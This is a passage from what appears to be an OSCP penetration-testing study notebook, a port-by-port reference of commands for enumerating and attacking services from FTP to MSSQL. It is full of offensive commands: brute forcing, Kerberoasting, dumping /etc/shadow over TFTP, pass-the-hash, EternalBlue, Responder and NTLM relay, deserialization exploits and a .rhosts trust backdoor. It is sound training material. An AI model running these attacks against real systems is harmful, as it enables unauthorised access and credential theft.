Pearson's OSCP Notebook

UseCases for ports

Properties1
tagsports, enumeration, reference, services, tcp, udp, well-known-ports, registered-ports

36 min read

Port Reference — Open Port, Now What?

How to use this file: You see an open port in Nmap. Find it here → understand what’s likely running → know exactly how to connect, enumerate, and exploit it.

📌 Quick Index

PortServiceCategory
21FTPFile Transfer
22SSHRemote Access
23TelnetRemote Access
25SMTPMail
53DNSName Resolution
69TFTP (UDP)File Transfer
79FingerUser Info
80HTTPWeb
88KerberosAD Auth
464kpasswdAD Auth
646LDP (MPLS)Network
110POP3Mail
111RPC/rpcbindRPC
119NNTPNews
135MSRPCWindows RPC
137-139NetBIOSWindows Networking
143IMAPMail
161SNMP (UDP)Network Mgmt
389LDAPAD Directory
443HTTPSWeb (TLS)
445SMBFile Share / AD
465SMTPSMail (TLS)
512-514rexec/rlogin/rshRemote (Legacy)
543-544Kerberos ShellKerberos
587SMTP SubmissionMail
593HTTP RPCWindows RPC
636LDAPSAD (TLS)
873RsyncFile Sync
902VMwareVirtualization
993IMAPSMail (TLS)
995POP3SMail (TLS)
1080SOCKS ProxyProxy
1099Java RMIJava
1433MSSQLDatabase
1521Oracle DBDatabase
2049NFSFile Share
2121FTP (alt)File Transfer
3000Web App (alt)Web
3128Squid ProxyProxy
3306MySQLDatabase
3389RDPRemote Desktop
3632distccCompiler Daemon
4369Erlang EPMDMessaging
4444Metasploit/shellsPentest
5000Flask / Web AltWeb
5040Windows RPCWindows
5222XMPP / JabberMessaging / AD
5432PostgreSQLDatabase
5555Android Debug BridgeMobile
5601KibanaAnalytics
5672RabbitMQMessaging
5900VNCRemote Desktop
5985WinRMWindows Remote
6379RedisDatabase
6443Kubernetes APIContainer
7077Apache SparkBig Data
8000Web AltWeb
8080HTTP AltWeb
8443HTTPS AltWeb (TLS)
8888Jupyter NotebookDev
9000PHP-FPMWeb
9090Prometheus / Web AltMonitoring
9200ElasticsearchSearch/DB
10000WebminAdmin Panel
11211MemcachedCache
27017MongoDBDatabase
49152+Dynamic RPCWindows RPC

📌 Universal Checklist — Any Open Port

✅ nc -nv IP PORT          → Banner grab
✅ nmap -p PORT -sV --script default IP  → Version + NSE scripts
✅ searchsploit "service version"        → Known exploits
✅ Default credentials tried?
✅ Anonymous / null session tried?
✅ Brute force wordlist tried?
✅ Metasploit modules searched?
✅ Exploit-DB / Google searched?

Well-Known Ports (0–1023)

Port 21 — FTP

Service: File Transfer Protocol — file upload/download Default creds: anonymous / (blank)

# Connect
ftp 10.10.10.10
ftp -p 10.10.10.10         # Passive mode
 
# Anonymous login
Name: anonymous
Password: (press Enter)
 
# curl (passive default)
curl ftp://10.10.10.10/ -u anonymous:
curl ftp://10.10.10.10/file.txt -u anonymous: -o file.txt
 
# wget recursive download
wget -r ftp://anonymous:@10.10.10.10/
 
# Nmap scripts
nmap -p 21 -sV --script ftp-anon,ftp-banner,ftp-vsftpd-backdoor 10.10.10.10
 
# Brute force — weak creds first (-e nsr), then rockyou
hydra -L users.txt -e nsr 10.10.10.10 ftp -t 6 -f
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ftp -t 6 -f -e nsr

What to look for: writable dirs → upload web shell; credentials in files; vsftpd 2.3.4 backdoor (triggers on :) in username → shell on port 6200); ProFTPd mod_copy RCE.

See: FTP, Hydra, Initial foothold

Port 22 — SSH

Service: Secure Shell — encrypted remote login Default port: 22/TCP

# Connect
ssh user@10.10.10.10
ssh -p 2222 user@10.10.10.10           # Non-standard port
ssh -i id_rsa user@10.10.10.10         # With private key
 
# Banner grab / version check
nc -nv 10.10.10.10 22
nmap -p 22 --script ssh-hostkey,ssh-auth-methods 10.10.10.10
ssh-audit 10.10.10.10                    # Config audit — [[ssh-audit]]
 
# Brute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.10.10 ssh -t 4 -f
 
# Crack found private key passphrase
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
 
# Use for tunneling/pivoting
ssh -L 8080:172.16.0.5:80 user@10.10.10.10 -N    # Local forward
ssh -D 1080 user@10.10.10.10 -N                   # SOCKS proxy
sudo sshuttle -r user@10.10.10.10 172.16.0.0/24   # VPN-like → [[sshuttle]]

What to look for: password auth enabled → brute force; key files found elsewhere → try them; StrictHostKeyChecking bypass with -o StrictHostKeyChecking=no; pivot via tunneling.

See: SSH, SSH Tunneling, Hydra, Hashcat

Port 23 — Telnet

Service: Telnet — unencrypted remote login (legacy) Note: All traffic in plaintext — credentials visible in packet capture.

# Connect
telnet 10.10.10.10
telnet 10.10.10.10 23
 
# Netcat works too
nc -nv 10.10.10.10 23
 
# Banner grab
nmap -p 23 --script telnet-ntlm-info,telnet-encryption 10.10.10.10
 
# Brute force
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt telnet://10.10.10.10 -t 4
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 telnet
 
# Nmap
nmap -p 23 -sV 10.10.10.10

What to look for: default credentials; network devices (routers, switches) often use Telnet; sniff traffic if on the same network.

See: Netcat, Hydra

Port 25 — SMTP

Service: Simple Mail Transfer Protocol — sending email Also: 465 (SMTPS), 587 (submission)

# Banner grab and manual interaction
nc -nv 10.10.10.10 25
telnet 10.10.10.10 25
 
# SMTP commands (manual enumeration)
EHLO attacker.com              # Handshake — reveals server capabilities
VRFY root                      # Verify if user exists (often allowed)
EXPN www                       # Expand alias → reveals users
RCPT TO:<user@domain.com>      # Test if user exists
 
# User enumeration with Nmap
nmap -p 25 --script smtp-enum-users 10.10.10.10
nmap -p 25 --script smtp-commands 10.10.10.10
nmap -p 25 -sV --script smtp-open-relay 10.10.10.10
 
# User enumeration with smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.10.10.10
smtp-user-enum -M RCPT -U users.txt -t 10.10.10.10 -D domain.local
 
# Send a test email (if open relay found)
swaks --to user@domain.com --from attacker@evil.com --server 10.10.10.10
 
# Brute force auth
hydra -l admin -P passwords.txt 10.10.10.10 smtp -V

What to look for: VRFY/EXPN for username enumeration; open relay (send email as anyone); credentials via AUTH; phishing delivery if relay is open.

See: Mail (SMTP POP3 IMAP), Netcat, Nmap, Hydra

Port 53 — DNS

Service: Domain Name System — name resolution Protocol: UDP (queries) + TCP (zone transfers, large responses)

# Basic query
nslookup 10.10.10.10
nslookup domain.local 10.10.10.10        # Use target as DNS server
dig @10.10.10.10 domain.local            # Query specific DNS server
dig @10.10.10.10 domain.local ANY        # All records
dig @10.10.10.10 domain.local MX         # Mail records
dig @10.10.10.10 domain.local NS         # Name servers
 
# Zone transfer (AXFR) — dumps all DNS records
dig @10.10.10.10 domain.local AXFR
dnsrecon -d domain.local -t axfr
fierce --domain domain.local --dns-servers 10.10.10.10
 
# Reverse lookup
dig @10.10.10.10 -x 10.10.10.10
nmap -p 53 --script dns-zone-transfer --script-args dns-zone-transfer.domain=domain.local 10.10.10.10
 
# Subdomain brute force
dnsrecon -d domain.local -t brt -D /usr/share/wordlists/dnsmap.txt
gobuster dns -d domain.local -w /usr/share/wordlists/dirb/common.txt
dnsenum domain.local
 
# Nmap
nmap -p 53 -sV -sU 10.10.10.10

What to look for: zone transfer (AXFR) reveals ALL records — hostnames, IPs, internal names; subdomain brute force for hidden services; reverse lookup to map the network; DNS in AD environments reveals internal topology. ADIDNS write (authenticated users add records) → krbrelayx dnstool.py.

See: Nmap, Gobuster, DNS (dig & host), krbrelayx

Port 69 — TFTP

Service: Trivial File Transfer Protocol — simple UDP file transfer (no auth) Protocol: UDP only

# Connect (requires tftp client)
sudo apt install tftp
tftp 10.10.10.10
 
# Interactive commands
tftp> get filename.txt
tftp> put shell.php
tftp> quit
 
# Non-interactive
tftp -v 10.10.10.10 -c get filename
echo -e "get filename\nquit" | tftp 10.10.10.10
 
# Nmap
nmap -p 69 -sU -sV 10.10.10.10
nmap -p 69 -sU --script tftp-enum 10.10.10.10
 
# Try common files
echo -e "get /etc/passwd\nquit" | tftp 10.10.10.10
echo -e "get /etc/shadow\nquit" | tftp 10.10.10.10
echo -e "get running-config\nquit" | tftp 10.10.10.10   # Cisco router config
echo -e "get boot.ini\nquit" | tftp 10.10.10.10

What to look for: no authentication — download anything readable; upload web shells if TFTP root is web root; Cisco router configs with passwords; network device firmware.

Port 79 — Finger

Service: Finger — user information lookup (very legacy)

# Enumerate users
finger @10.10.10.10           # List all logged-in users
finger root@10.10.10.10       # Info about a specific user
finger -l @10.10.10.10        # Long format
 
# Manual (nc)
echo "root" | nc -nv 10.10.10.10 79
 
# Nmap
nmap -p 79 --script finger 10.10.10.10

What to look for: usernames for further attacks; system info.

Port 80 — HTTP

Service: HyperText Transfer Protocol — web server Also see: Port 443 (HTTPS), 8080, 8443, 8000

# Browse
curl -v http://10.10.10.10
curl -I http://10.10.10.10     # Headers only
wget http://10.10.10.10/
 
# Directory enumeration
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -t 40
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40
feroxbuster -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
 
# Vulnerability scan
nikto -h http://10.10.10.10
nikto -h http://10.10.10.10 -port 80 -output nikto.txt
 
# Nmap web scripts
nmap -p 80 --script http-enum,http-headers,http-methods,http-robots.txt 10.10.10.10
nmap -p 80 --script http-shellshock 10.10.10.10
 
# WordPress
wpscan --url http://10.10.10.10 --enumerate u,p,t
wpscan --url http://10.10.10.10 --passwords /usr/share/wordlists/rockyou.txt -U admin
 
# CMS detection
python3 /usr/share/cmseek/cmseek.py -u http://10.10.10.10/ -v --follow-redirect
# or: cmseek  (guided)
whatweb http://10.10.10.10
curl http://10.10.10.10/robots.txt
curl http://10.10.10.10/.git/HEAD     # Git repo exposed? → [[Git & GitHub]]
curl -s http://10.10.10.10/graphql -H "Content-Type: application/json" \
  -d '{"query":"{ __typename }"}'     # GraphQL? → [[GraphQL]]
curl http://10.10.10.10/sitemap.xml
 
# SQL injection (see [[SQL Injection]], [[Union Based SQLi]], [[Blind SQLi]], [[SQLMap]])
sqlmap -u "http://10.10.10.10/page.php?id=1" --batch --dbs
sqlmap -r request.txt --batch --dbs                     # from Burp request file
sqlmap -u "http://10.10.10.10/page.php?id=1" --batch -D dbname -T users --dump
 
# Subdomain/vhost enumeration
gobuster vhost -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt
gobuster vhost -u http://domain.local -w subdomains.txt --append-domain
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.10 -H "Host: FUZZ.domain.local"

What to look for: source code with creds; /robots.txt; hidden dirs; upload forms → web shell; login pages → default creds → brute force; SQLi; LFI/RFI; exposed .git; CMS with known vulns.

See: Gobuster, Nikto, CMSeeK - cmseek, WPScan, Curl, Git & GitHub, GraphQL - Bruno, SQL Injection, Union Based SQLi, Blind SQLi, SQLMap, Local File Inclusion (LFI), Remote File Inclusion (RFI), File Upload Bypass, Web Servers, Initial foothold

Port 88 — Kerberos

Service: Kerberos authentication — Active Directory Protocol: TCP + UDP

Prerequisite (Linux -k / getTGT): Kerberos Setup - krb5.conf + Time Sync-Clock Skew

# AS-REP Roasting (no creds needed — accounts without preauth)
impacket-GetNPUsers domain.local/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txt -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
 
# Kerberoasting (needs low-priv creds)
impacket-GetUserSPNs domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
 
# Enumerate users via Kerberos (no creds)
kerbrute userenum --dc 10.10.10.10 -d domain.local /usr/share/wordlists/usernames.txt
 
# Password spray via Kerberos
kerbrute passwordspray --dc 10.10.10.10 -d domain.local users.txt 'Password123'
 
# Nmap
nmap -p 88 -sV 10.10.10.10
 
# Check if DC is reachable
echo "exit" | nc -w 3 10.10.10.10 88

What to look for: AS-REP roastable accounts; Kerberoastable service accounts; user enumeration (valid/invalid users give different errors); golden/silver ticket attacks post-compromise.

See: Kerbrute, Kerberoast, Kerberos, Kerberos Setup - krb5.conf, Hashcat, Bloodhound + Sharphound, Impacket

Port 464 — KPASSWD (Kerberos Password Change)

Service: kpasswd — Kerberos Change/Set Password protocol (RFC 3244) Protocol: TCP + UDP On AD: Almost always open on Domain Controllers alongside port 88

Used when users change/reset domain passwords. In pentests, this is how you fix NT_STATUS_PASSWORD_MUST_CHANGE — valid creds but account must change password before logon.

# Confirm kpasswd on DC
nmap -p88,389,464 DC_IP -sV
 
# Expected:
# 464/tcp  open  kpasswd5
# 464/udp  open  kpasswd5
 
# Full AD auth ports on DC
nmap -p88,389,445,464,636 DC_IP -sV
 
# Banner / connectivity
nc -nv DC_IP 464
echo "exit" | nc -w 3 DC_IP 464

Change password (uses port 464):

sudo apt install krb5-user
sudo timedatectl set-ntp false
sudo ntpdate -u DC_IP                    # required — see [[Time Sync-Clock Skew]]
 
# /etc/krb5.conf → [[Kerberos Setup - krb5.conf]] (or manual template in [[krb5-user]])
 
kpasswd user@DOMAIN.LOCAL
# Example:
kpasswd Caroline.Robinson@BABY.VL

Alternative (SMB/RPC to DC — port 445, not 464):

sudo apt install samba-common-bin
smbpasswd -U DOMAIN/username -r domain.fqdn
# Example:
smbpasswd -U BABY/caroline.robinson -r baby.vl

After change: log in with new password — CrackMapExec - nxc, evil-winrm, Impacket getTGT.

What to look for: 464/kpasswd5 on DC scan → password change possible; pair with NT_STATUS_PASSWORD_MUST_CHANGE from SMB/WinRM; sync time before kpasswd; try smbpasswd if kpasswd blocked.

See: Change password AD - NT_STATUS_PASSWORD_MUST_CHANGE, krb5-user, Kerberos, Time Sync-Clock Skew, SMB

Port 646 — LDP (Label Distribution Protocol)

Service: LDP — Label Distribution Protocol (MPLS networking) Protocol: TCP + UDP (hello often on UDP 646) Category: Network infrastructure — not standard Windows AD

nmap -p646 -sV -sC TARGET
nmap -p646 -sU -sV TARGET              # UDP LDP hello
 
nc -nv TARGET 646

What it is: Routers/switches in MPLS networks use LDP to exchange label info. Occasionally seen on network gear or perimeter scans — not the same as Kerberos password change.

Do not confuse with port 464: Nmap may show 464/tcp open kpasswd5 on a DC — that is Kerberos password change, not port 646. Broken scan lines sometimes look like 464/tcp kpasswd5 merged with 389/tcp ldap.

Vendor note: Some products (e.g. McAfee ePO) document LDAP-related traffic on 646 — always verify with -sV banner and context.

What to look for: MPLS/Cisco/network box; LDP exposed to untrusted networks (misconfig); CVE history on Cisco LDP (crafted UDP 646 packets). For OSCP AD boxes, prioritize 464 over 646.

See: Port 464, Nmap

Port 110 — POP3

Service: Post Office Protocol v3 — read email from server

# Manual interaction
nc -nv 10.10.10.10 110
telnet 10.10.10.10 110
 
# POP3 commands
USER username          # Authenticate
PASS password          # Password
LIST                   # List emails
RETR 1                 # Read email #1
DELE 1                 # Delete email #1
QUIT                   # Exit
 
# Nmap
nmap -p 110 --script pop3-capabilities,pop3-ntlm-info 10.10.10.10
 
# Brute force
hydra -L users.txt -P passwords.txt 10.10.10.10 pop3 -t 4

What to look for: read emails for credentials, internal info, password resets; brute force with found usernames.

See: Mail (SMTP POP3 IMAP), Hydra, Nmap

Port 111 — RPC / rpcbind

Service: Remote Procedure Call port mapper — lists all RPC services Note: Often found alongside NFS (port 2049)

# Enumerate RPC services
rpcinfo -p 10.10.10.10
nmap -p 111 --script rpcinfo 10.10.10.10
 
# If NFS shows up in rpcinfo:
showmount -e 10.10.10.10       # List exported NFS shares

What to look for: NFS exports (→ port 2049); other RPC services to attack.

See: NFS

Port 135 — MSRPC

Service: Microsoft Remote Procedure Call — Windows RPC endpoint mapper. Acts as a directory — tells clients which dynamic high port (49152+) each service is running on.

# Enumerate all RPC endpoints (find dynamic ports for each service)
impacket-rpcdump 10.10.10.10
impacket-rpcdump domain/user:password@10.10.10.10
nmap -p 135 --script msrpc-enum 10.10.10.10
 
# rpcclient — interactive shell (null session or with creds)
rpcclient -U "" -N 10.10.10.10           # Null session
rpcclient -U "user%password" 10.10.10.10
 
# rpcclient — non-standard port (dynamic high port)
rpcclient -U "user%password" -p 49664 10.10.10.10
 
# rpcclient commands (inside shell)
enumdomusers                  # List all domain users
enumdomgroups                 # List all groups
queryuser 0x1f4               # Get user info by RID (0x1f4 = Administrator)
querygroupmem 0x200           # Group members
getdompwinfo                  # Password policy
lookupnames administrator     # SID for a username
lookupsids S-1-5-21-...       # Username for a SID
 
# netexec / crackmapexec
netexec rpc 10.10.10.10 -u user -p password --users
netexec rpc 10.10.10.10 -u user -p password --port 49664   # Non-standard port
 
# Impacket RID brute force (enumerate users)
impacket-lookupsid domain/user:password@10.10.10.10
 
# Metasploit
use auxiliary/scanner/dcerpc/endpoint_mapper

What to look for: null session → enumerate users/groups/password policy; dynamic ports from rpcdump → attack those services; RID brute force for valid usernames; DCOM abuse for lateral movement.

See: RPC, rpcclient, Impacket, CrackMapExec - nxc

Port 137-139 — NetBIOS

Service: NetBIOS Name Service (137), Datagram (138), Session (139) — legacy Windows networking

# Enumerate NetBIOS names
nbtscan 10.10.10.10
nbtscan -r 10.10.10.0/24          # Whole subnet

Full reference → nbtscan

nmblookup -A 10.10.10.10
 
# Nmap
nmap -p 137,139 --script nbstat 10.10.10.10
nmap -p 139 --script smb-enum-shares,smb-enum-users 10.10.10.10
 
# Connect via NetBIOS session (135/139 SMB over NetBIOS)
smbclient -L //10.10.10.10 -N
smbclient //10.10.10.10/Share -N

What to look for: machine name, workgroup/domain name, logged-in users, MAC address; pivot to SMB attacks. NBT-NS (port 137) is also the protocol Responder poisons for NTLM hash capture.

# NBT-NS poisoning — Responder listens on UDP/137 and poisons name lookups
sudo responder -I eth0 -w On -v
# Captured hashes saved to /usr/share/responder/logs/

See: SMB, Responder

Port 143 — IMAP

Service: Internet Message Access Protocol — access emails on server

# Manual interaction
nc -nv 10.10.10.10 143
telnet 10.10.10.10 143
 
# IMAP commands (must be prefixed with a tag e.g. "a1")
a1 LOGIN username password
a1 LIST "" "*"               # List all folders
a1 SELECT INBOX              # Select inbox
a1 FETCH 1 BODY[]            # Read first email
a1 LOGOUT
 
# Nmap
nmap -p 143 --script imap-capabilities,imap-ntlm-info 10.10.10.10
 
# Brute force
hydra -L users.txt -P passwords.txt 10.10.10.10 imap -t 4

What to look for: credentials in emails; internal communications; password resets.

See: Mail (SMTP POP3 IMAP), Hydra, Nmap

Port 161 — SNMP (UDP)

Service: Simple Network Management Protocol — network device monitoring Protocol: UDP 161 (queries), UDP 162 (traps)

# Nmap — requires UDP scan
nmap -p 161 -sU -sV 10.10.10.10
nmap -p 161 -sU --script snmp-info,snmp-sysdescr,snmp-brute 10.10.10.10
 
# snmpwalk — dump everything (default community: public)
snmpwalk -v2c -c public 10.10.10.10
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2   # Running processes
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.6.3.1.2   # Installed software
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.4.1.77.1.2.25    # Windows users
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.6.13.1.3     # Open TCP ports
 
# snmpget — specific OID
snmpget -v2c -c public 10.10.10.10 sysDescr.0
 
# Brute force community strings
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.10
hydra -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.10.10.10 snmp
 
# snmp-check (human-readable output)
snmp-check 10.10.10.10 -c public
 
# v3 enumeration
nmap -p 161 -sU --script snmp-info --script-args snmp.version=3 10.10.10.10

What to look for: running processes (may reveal creds in command args); installed software (versions to exploit); user accounts; network config; community string public or private → full info dump; write community string → RCE possible.

See: Nmap, snmpwalk, Hydra

Port 389 — LDAP

Service: Lightweight Directory Access Protocol — Active Directory queries

# Anonymous LDAP bind enumeration
ldapsearch -H ldap://10.10.10.10 -x -b "DC=domain,DC=local"
ldapsearch -H ldap://10.10.10.10 -x -b "DC=domain,DC=local" "(objectClass=user)"
ldapsearch -H ldap://10.10.10.10 -x -b "DC=domain,DC=local" "(objectClass=group)"
ldapsearch -H ldap://10.10.10.10 -x -b "DC=domain,DC=local" "(objectClass=computer)"
 
# With credentials
ldapsearch -H ldap://10.10.10.10 -x -D "user@domain.local" -w password -b "DC=domain,DC=local"
 
# Nmap
nmap -p 389 --script ldap-search,ldap-rootdse 10.10.10.10
 
# windapsearch
windapsearch -d domain.local --dc-ip 10.10.10.10 -U            # All users
windapsearch -d domain.local --dc-ip 10.10.10.10 -G            # All groups
windapsearch -d domain.local --dc-ip 10.10.10.10 --da          # Domain admins
 
# enum4linux (covers LDAP + SMB + RPC)
enum4linux -a 10.10.10.10
enum4linux -A 10.10.10.10

What to look for: all users/groups/computers; password policy; SPNs (Kerberoast); accounts without preauth (AS-REP roast); description fields with passwords; admin accounts.

See: AD, Kerberos, ldapsearch, Bloodhound + Sharphound, enum4linux

Port 443 — HTTPS

Service: HTTP over TLS/SSL — encrypted web traffic

# Same as HTTP but use https://
curl -k https://10.10.10.10       # -k ignores cert errors
curl -kv https://10.10.10.10      # Verbose (shows TLS details)
 
# Check certificate info (reveals domain names, org)
openssl s_client -connect 10.10.10.10:443
echo | openssl s_client -connect 10.10.10.10:443 2>/dev/null | openssl x509 -noout -text
 
# Directory enumeration
gobuster dir -u https://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -k -x php,txt,html
nikto -h https://10.10.10.10 -ssl
 
# Nmap
nmap -p 443 --script ssl-cert,ssl-enum-ciphers,http-enum 10.10.10.10
nmap -p 443 --script ssl-heartbleed 10.10.10.10      # Heartbleed check
 
# Same tools as HTTP apply

What to look for: certificate for domain/hostname info; same web attack surface as port 80; Heartbleed (CVE-2014-0160) on older servers; SSL/TLS misconfiguration.

See: HTTP, Gobuster, Nikto

Port 445 — SMB

Service: Server Message Block — Windows file sharing, named pipes, AD authentication

# Enumerate shares (null session)
smbclient -L //10.10.10.10 -N
smbmap -H 10.10.10.10
smbmap -H 10.10.10.10 -u '' -p ''
enum4linux -a 10.10.10.10
 
# Connect to a share
smbclient //10.10.10.10/Share -N                       # Null session
smbclient //10.10.10.10/Share -U user%password
 
# Inside smbclient
smb: \> ls                    # List files
smb: \> get file.txt          # Download
smb: \> put shell.php         # Upload
smb: \> recurse on            # Recursive
smb: \> prompt off            # No prompts
smb: \> mget *                # Download everything
 
# CrackMapExec — Swiss army knife for SMB
crackmapexec smb 10.10.10.10 -u '' -p ''                       # Null session
crackmapexec smb 10.10.10.10 -u user -p password               # Auth check
crackmapexec smb 10.10.10.10 -u user -H NT_HASH                # Pass-the-hash
crackmapexec smb 10.10.10.0/24 -u user -p password             # Subnet sweep
crackmapexec smb 10.10.10.10 -u user -p password --shares      # List shares
crackmapexec smb 10.10.10.10 -u user -p password --users       # List users
crackmapexec smb 10.10.10.10 -u user -p password --groups      # List groups
crackmapexec smb 10.10.10.10 -u user -p password -x "whoami"   # Execute command
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123'     # Password spray
 
# Nmap vuln scripts
nmap -p 445 --script smb-vuln-ms17-010 10.10.10.10             # EternalBlue
nmap -p 445 --script smb-vuln* 10.10.10.10                     # All SMB vulns
nmap -p 445 --script smb-enum-shares,smb-enum-users 10.10.10.10
 
# Mount SMB share (Linux)
sudo mount -t cifs //10.10.10.10/Share /mnt/share -o user=user,password=password,vers=3.0
sudo mount -t cifs //10.10.10.10/Share /mnt/share -o guest,vers=2.0
 
# Impacket tools
impacket-psexec domain/user:password@10.10.10.10               # Shell via SMB
impacket-wmiexec domain/user:password@10.10.10.10
impacket-smbexec domain/user:password@10.10.10.10
 
# EternalBlue (MS17-010)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.10
run
# LLMNR/NBT-NS Poisoning — capture NTLMv2 hashes passively (see [[Responder]])
sudo responder -I eth0 -w On -v
# Check logs: /usr/share/responder/logs/
# Crack: hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
 
# NTLM Relay — relay captured auth to gain access (no cracking needed)
# 1. Check signing: netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# 2. Set SMB=Off, HTTP=Off in Responder.conf
# 3. impacket-ntlmrelayx -tf targets.txt -smb2support -i
# 4. sudo responder -I eth0 -w On

What to look for: readable shares with credentials/files; writable shares to plant files; EternalBlue (MS17-010) if unpatched; Pass-the-Hash with crackmapexec; SYSVOL/NETLOGON for GPP passwords; null session user enumeration; LLMNR/NBT-NS hash capture with Responder; NTLM relay when SMB signing is off.

See: SMB, CrackMapExec - nxc, Impacket, smbclient, enum4linux, smbmap, Responder, MetaSploit

Port 465 — SMTPS

Service: SMTP over SSL — encrypted email sending

# Connect with openssl
openssl s_client -connect 10.10.10.10:465
# Then use SMTP commands after TLS handshake
 
# Nmap
nmap -p 465 -sV 10.10.10.10
 
# Same techniques as port 25 but over TLS
swaks --to user@domain.com --server 10.10.10.10 --port 465 --tls

See: Mail (SMTP POP3 IMAP), Hydra

Port 512-514 — r-services (rexec / rlogin / rsh)

Service: Berkeley r-services — legacy remote execution (no encryption)

# rlogin (like telnet, but trusts .rhosts)
rlogin -l root 10.10.10.10
 
# rsh — execute commands
rsh 10.10.10.10 -l root "whoami"
rsh 10.10.10.10 -l root "/bin/bash -i"
 
# rexec (port 512) — requires username/password
# Usually prompted interactively
 
# Nmap
nmap -p 512,513,514 -sV 10.10.10.10
nmap -p 514 --script rsh-brute 10.10.10.10
 
# Check .rhosts file on target (allows passwordless login)
# If you can write .rhosts → add your IP for passwordless access
echo "ATTACKER_IP +" > ~/.rhosts

What to look for: .rhosts or /etc/hosts.equiv trusting your IP = passwordless login; extremely legacy but occasionally seen in OSCP.

Port 587 — SMTP Submission

Service: Authenticated SMTP submission (email clients send mail here)

# Test SMTP auth
nc -nv 10.10.10.10 587
telnet 10.10.10.10 587
# EHLO, then AUTH LOGIN or AUTH PLAIN
 
# Hydra brute force auth
hydra -L users.txt -P passwords.txt 10.10.10.10 smtp -s 587 -t 4

See: Mail (SMTP POP3 IMAP), Hydra

Port 636 — LDAPS

Service: LDAP over SSL — encrypted Active Directory queries

# Same as port 389 but with ldaps://
ldapsearch -H ldaps://10.10.10.10 -x -b "DC=domain,DC=local"
ldapsearch -H ldaps://10.10.10.10 -x -b "DC=domain,DC=local" -D "user@domain.local" -w password
 
# Nmap
nmap -p 636 --script ssl-cert,ldap-rootdse 10.10.10.10

See: LDAP

Port 873 — Rsync

Service: Rsync — file synchronization (common on Linux servers)

# List available modules (shares)
rsync rsync://10.10.10.10/
rsync 10.10.10.10::
 
# Browse a module
rsync rsync://10.10.10.10/modulename/
 
# Download files from module
rsync -av rsync://10.10.10.10/modulename/ /local/path/
 
# Upload files (if writable)
rsync -av /local/file rsync://10.10.10.10/modulename/
 
# Nmap
nmap -p 873 --script rsync-list-modules 10.10.10.10
 
# With credentials
rsync -av rsync://user@10.10.10.10/modulename/ /local/path/

What to look for: no-auth access to file shares; writable modules → upload SSH key or web shell; grab /etc/passwd, /etc/shadow, or SSH keys.

Port 902 — VMware

Service: VMware ESXi / vCenter server management

# Banner grab
nc -nv 10.10.10.10 902
 
# Nmap
nmap -p 902 -sV 10.10.10.10
nmap -p 902 --script vmware-version 10.10.10.10
 
# Web interface usually on 443 or 8443
curl -k https://10.10.10.10/ui/
 
# Metasploit VMware modules
search type:exploit name:vmware

Port 993 — IMAPS / 995 — POP3S

Service: IMAP over SSL (993), POP3 over SSL (995)

# IMAPS
openssl s_client -connect 10.10.10.10:993
# Then use IMAP commands (see port 143)
 
# POP3S
openssl s_client -connect 10.10.10.10:995
# Then use POP3 commands (see port 110)
 
# Brute force
hydra -L users.txt -P passwords.txt 10.10.10.10 imaps -t 4
hydra -L users.txt -P passwords.txt 10.10.10.10 pop3s -t 4

See: Mail (SMTP POP3 IMAP), Hydra

Registered Ports (1024–49151)

Port 1080 — SOCKS Proxy

Service: SOCKS proxy server

# Test if it's open proxy
curl --proxy socks5://10.10.10.10:1080 http://example.com
curl --socks5 10.10.10.10:1080 http://10.10.10.10
 
# Configure proxychains to use it
# /etc/proxychains4.conf → socks5 10.10.10.10 1080
 
# Nmap through it
proxychains nmap -sT -Pn 192.168.1.0/24

What to look for: open proxy lets you reach internal networks; may require auth — try common creds.

Port 1099 — Java RMI / JMX

Service: Java Remote Method Invocation — often RMI registry and/or JMX remote management

# Nmap
nmap -p 1099,9010,9011 -sV --script rmi-dumpregistry,rmi-vuln-classloader 10.10.10.10
 
# Metasploit
use exploit/multi/misc/java_rmi_server
set RHOSTS 10.10.10.10
run
 
# rmg (remote-method-guesser) — pure RMI
rmg enum 10.10.10.10 1099
rmg attack 10.10.10.10 1099 --attack ysoserial
 
# BeanShooter — JMX enum + exploit → [[BeanShooter]]
java -jar beanshooter.jar enum 10.10.10.10 1099
java -jar beanshooter.jar enum 10.10.10.10 9010
java -jar beanshooter.jar serial 10.10.10.10 1099 --preauth --yso /opt/ysoserial.jar CommonsCollections6 "id"
java -jar beanshooter.jar tonka shell 10.10.10.10 1099

What to look for: unauthenticated JMX → BeanShooter enum / tonka; pre-auth deserialization → serial + ysoserial; Tomcat users in enum output; unauthenticated RMI → rmg / Metasploit.

See: BeanShooter, Nmap, MetaSploit, Initial foothold

Port 1433 — MSSQL

Service: Microsoft SQL Server

# Nmap
nmap -p 1433 -sV --script ms-sql-info,ms-sql-empty-password,ms-sql-config 10.10.10.10
 
# Connect with impacket
# SQL auth (sa) — no -windows-auth
impacket-mssqlclient sa:password@10.10.10.10
 
